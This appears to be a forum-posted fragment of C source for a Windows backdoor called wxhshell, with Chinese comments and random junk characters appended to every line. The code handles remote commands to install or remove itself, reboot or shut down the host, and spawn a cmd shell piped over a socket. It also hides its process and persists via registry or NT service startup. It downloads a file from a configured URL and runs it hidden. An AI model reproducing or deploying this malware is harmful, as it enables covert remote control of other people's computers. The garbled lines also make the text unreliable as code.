  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O(~Vvoq  
  } O^xt  
  else { #] GM#.  
oPbD9  
    switch(cmd[0]) { rOD KM-7+  
  \fKE~61  
  // 帮助 `P5"5N\h  
  case '?': { .~U9*5d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LuqaGy}>-  
    break; IB6]Wj  
  } ;?o C=c  
  // 安装 Km nr }Lp9  
  case 'i': { Ii,:+o%  
    if(Install()) p_AV3   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $K KaA{0-  
    else O+8`.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UJH{vjIv  
    break; *@& "MZ/M  
    } 1wgu%$|d  
  // 卸载 `l+SJLyJ%  
  case 'r': { LX fiSM{o  
    if(Uninstall()) Ww(_EW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <di_2hN  
    else ~?&ijhZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'py)C5;  
    break; f lB,_  
    } o/zCXZnw#  
  // 显示 wxhshell 所在路径 X2uX+}h*tA  
  case 'p': { [dJ\|=  
    char svExeFile[MAX_PATH]; EC~t 'v  
    strcpy(svExeFile,"\n\r"); ;9PM?Iy[  
      strcat(svExeFile,ExeFile); vRq xZN  
        send(wsh,svExeFile,strlen(svExeFile),0); DsX>xzM  
    break; O%&@WrFq  
    } dvD<>{U,8  
  // 重启 LbR-uc?x  
  case 'b': { @,MdvR+a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'm cJ/9)v  
    if(Boot(REBOOT)) E%^28}dN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6b/b} vl  
    else { ':V_V. :  
    closesocket(wsh); ]1&9~TL  
    ExitThread(0); QB[s8"S  
    } ja;5:=8A5  
    break; -"e}YN/  
    } &XsLp&Do2  
  // 关机 lz(,;I'x  
  case 'd': { Wn^^Q5U#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L)}V [j#  
    if(Boot(SHUTDOWN)) %jxuH+L   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >D/~|`=p  
    else { #& wgsGV8C  
    closesocket(wsh); xiF%\#N  
    ExitThread(0); M: "ci;*$  
    } rl%Kn^JJ~  
    break; ElXe=5L\#  
    } 6 b}feEh$!  
  // 获取shell ' D&G~$  
  case 's': { !7)ID7d  
    CmdShell(wsh); #'x?) AS  
    closesocket(wsh); WQpJd7  
    ExitThread(0); {_Qxe1^g  
    break; / D ]B  
  } 2]9<%-=S  
  // 退出 \=7=>x_  
  case 'x': { 1[l>D1F?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IBkH+j  
    CloseIt(wsh); $/TA5h  
    break; ? ~Zrd  
    } M@g gLW  
  // 离开 JJ?ri,  
  case 'q': { wWw/1i:|'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k_n{Mss'9  
    closesocket(wsh); n ;5?^Un%  
    WSACleanup(); LtztjAm.  
    exit(1); vB5iG|b}  
    break; +&,\ J9'B  
        } 6wB>-/'Y  
  } 0NtsFPO  
  } ]&U|d  
ZPsY0IzLo  
  // 提示信息 ?0NSjK5ma  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ro]IE|Fv  
} 9'q/&uH  
  } <88}+j  
hZWK5KwT  
  return; |u;BAb  
} / JeqoM"x  
 hu(K!>{  
// shell模块句柄 `_U0>Bfg;  
int CmdShell(SOCKET sock) s|r7DdI  
{ Zk#i9[g9*  
STARTUPINFO si; y]]Vp~R:[  
ZeroMemory(&si,sizeof(si)); +Nbk\%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ff1B)e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HoE.//b  
PROCESS_INFORMATION ProcessInfo; !7`=rT&  
char cmdline[]="cmd"; j' KobyX<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hS{ *l9v7  
  return 0; eBTedSM?t  
} y/I ~x+ y  
q;../h]Ne  
// 自身启动模式 2Lekckgv  
int StartFromService(void) 'lsq3!d.  
{ e'Us(]ZO  
typedef struct yr9A0F0  
{ |C6(0fgWd  
  DWORD ExitStatus; .cS,T<$  
  DWORD PebBaseAddress; 0aTbzOn&  
  DWORD AffinityMask; G\N"rG=  
  DWORD BasePriority; SE9u2Jk  
  ULONG UniqueProcessId; @GZa:(  
  ULONG InheritedFromUniqueProcessId; ~oA9+mT5  
}   PROCESS_BASIC_INFORMATION; }t D!xI;  
8N* -2/P&  
PROCNTQSIP NtQueryInformationProcess; 5rA!VES T  
+'j*WVE%5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OO\biYh o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /Np"J  
b/,!J] W  
  HANDLE             hProcess; cvV?V\1f  
  PROCESS_BASIC_INFORMATION pbi; O;BMwg_7  
B Ff. Rd95  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h"1"h.  
  if(NULL == hInst ) return 0; 0/P-> n~  
W|rFl]~a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B%rr}Ro1e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G'?f!fz;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O<Sc.@~  
_HHJw""j  
  if (!NtQueryInformationProcess) return 0; VWA-?%r  
[^d6cMEOlc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ok%a|Zz+]  
  if(!hProcess) return 0; ooU Sb  
aRO_,n9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @z$pPo0fW  
D0y,TF  
  CloseHandle(hProcess); fo\J \  
?Y6la.bc{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >c y.]uB  
if(hProcess==NULL) return 0; @7l=+`.i  
kYA'PW/[ )  
HMODULE hMod; 95?5=T F  
char procName[255]; hXQg=Sj  
unsigned long cbNeeded; ?^48Zq6wM  
N7$DRG/<b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z_V&IQo-7  
r< ?o}Qq  
  CloseHandle(hProcess); O{ %A&Ui  
0]eh>ab>  
if(strstr(procName,"services")) return 1; // 以服务启动 ^,Y~M_=  
^W[B[Y<k  
  return 0; // 注册表启动 ghobu}wuF  
} |6(qg5"  
llaZP(pJ  
// 主模块 K!- &Zv  
int StartWxhshell(LPSTR lpCmdLine) =Mu'+,dT  
{ ~0[G/A$]  
  SOCKET wsl; 4&]To@>  
BOOL val=TRUE; z)W#&JFF  
  int port=0; -4y)qGb*?  
  struct sockaddr_in door; o.A} ``  
lQ<#jxp  
  if(wscfg.ws_autoins) Install(); tU)r[2H2  
}OP%p/eY  
port=atoi(lpCmdLine); k$0|^GL8  
m['v3m:  
if(port<=0) port=wscfg.ws_port; ,LW(mdIe(  
{GX &)c4  
  WSADATA data; ndKvJH4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @u"kX2>Eq  
?`T6CRZhr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )Vg{Y [!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OHtgn  
  door.sin_family = AF_INET; }W@#S_-e8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6Y>,e;R  
  door.sin_port = htons(port); y\|-O<8O  
lNA'M&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3<jAp#bE  
closesocket(wsl); 1fO2)$Y  
return 1; fUp|3bBE  
} }/7.+yD  
TRySl5jx@  
  if(listen(wsl,2) == INVALID_SOCKET) { :_fjml/  
closesocket(wsl); p;n3`aVh  
return 1; XC7Ty'#"KX  
} n $O.>  
  Wxhshell(wsl); +9 16ZPk  
  WSACleanup(); qUEd E`B  
iJdrY 6qd  
return 0; JI+KS  
^:cb $9F  
} wv7p,9Z[  
hyk|+z`B  
// 以NT服务方式启动 H)j [eZP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _>jrlIfc  
{ e}](6"t`5  
DWORD   status = 0; i3M?D}(Bs  
  DWORD   specificError = 0xfffffff; ]uStn   
AT%* ~tr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; As6)_8w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Yhc6P%{Z^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M!&_qj&N,  
  serviceStatus.dwWin32ExitCode     = 0; Z0()pT  
  serviceStatus.dwServiceSpecificExitCode = 0; ;"d,~nLn  
  serviceStatus.dwCheckPoint       = 0; @pqY9_:P1  
  serviceStatus.dwWaitHint       = 0; J+3\2D?  
[Hv*\rb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [D<RV3x9  
  if (hServiceStatusHandle==0) return; 'B:Z=0{>N  
$ ,; ;u:-  
status = GetLastError(); a%MzNH  
  if (status!=NO_ERROR) ]HJ{dcF  
{ ;Ch+X$m9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u_}`y1Xu#  
    serviceStatus.dwCheckPoint       = 0; b"ol\&1 #  
    serviceStatus.dwWaitHint       = 0; TRs[~K)n  
    serviceStatus.dwWin32ExitCode     = status; LPq*ZZK  
    serviceStatus.dwServiceSpecificExitCode = specificError; +Fc ET  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (*Gi~?-  
    return; }j+~'O4m  
  } qy7hkq.uX  
fbh6Ls/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $ 7U Dz  
  serviceStatus.dwCheckPoint       = 0; UC8vR>e\  
  serviceStatus.dwWaitHint       = 0; Whv]88w{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HpB!a,R6B  
} Cp .1/  
m!HC-[<  
// 处理NT服务事件,比如:启动、停止 8Zcol$XS'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =&di4'`  
{ b34zhZ  
switch(fdwControl) 2x7(}+eD  
{ c&E*KfOG  
case SERVICE_CONTROL_STOP: bn0"M+7)f  
  serviceStatus.dwWin32ExitCode = 0; a za o`z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d u.HSXK  
  serviceStatus.dwCheckPoint   = 0; Zw;$(="  
  serviceStatus.dwWaitHint     = 0; O{lIs_1.Z  
  { 8yHq7=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /_NkB$&  
  } %/{IssCR7  
  return; BKa A=Bl  
case SERVICE_CONTROL_PAUSE: -vyIOH,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #5'c\\?Q  
  break; jo 7Hyw!g  
case SERVICE_CONTROL_CONTINUE: qg^(w fI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hnfvo*6d.e  
  break; I#i?**  
case SERVICE_CONTROL_INTERROGATE: e%PC e9  
  break; mDb-=[W5  
}; _ oQtk^fp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [GtcaX{Zz  
} +\+Uz!YS  
7MKD_`g  
// 标准应用程序主函数 <'r0r/0g?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Iv'RLM  
{ NY4!TOp  
NzjMk4t  
// 获取操作系统版本 lr9=OlH  
OsIsNt=GetOsVer(); ?wGiog<Q{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DBQOxryP>o  
?"()>PJx  
  // 从命令行安装 oUl=l}qnD  
  if(strpbrk(lpCmdLine,"iI")) Install(); X}3P1.n:  
]WTf< W<  
  // 下载执行文件 ]O6KKz  
if(wscfg.ws_downexe) { x7vq?fP0n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XxmJP5  
  WinExec(wscfg.ws_filenam,SW_HIDE); /yLzDCKn  
} aXRv}WO$>k  
+n@f'a">  
if(!OsIsNt) { /)sDnJ1r  
// 如果时win9x,隐藏进程并且设置为注册表启动 5){tBK|  
HideProc(); ^Ku\l #B  
StartWxhshell(lpCmdLine); ~RcNZ\2y  
} VT'0DQ!NIq  
else q!ee g  
  if(StartFromService()) MzG5u<D  
  // 以服务方式启动 1v;'d1Hg;  
  StartServiceCtrlDispatcher(DispatchTable); $8jaapNm@  
else 9 TqoLX  
  // 普通方式启动 :lgHL3yl  
  StartWxhshell(lpCmdLine); .6\T`6H=a  
7*+Km'=M  
return 0; LEWa6'0rq  
}
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只看该作者 1 发表于: 2006-10-10
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